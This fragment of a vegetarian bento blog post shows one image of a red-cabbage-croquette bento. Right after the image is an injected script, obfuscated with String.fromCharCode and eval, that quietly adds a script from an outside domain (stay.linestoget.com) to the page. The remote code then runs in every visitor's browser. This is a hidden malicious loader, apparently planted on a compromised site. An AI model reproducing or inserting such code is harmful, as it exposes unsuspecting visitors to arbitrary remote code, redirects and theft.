<p><a href="http://www.monbentovegetarien.com/wp-content/uploads/2011/02/cocyte6.jpg"><img class="size-large wp-image-368   alignleft" title="Bento chou rouge croquettes" src="http://www.monbentovegetarien.com/wp-content/uploads/2011/02/cocyte6-751x1024.jpg" alt="" width="433" height="589" /></a><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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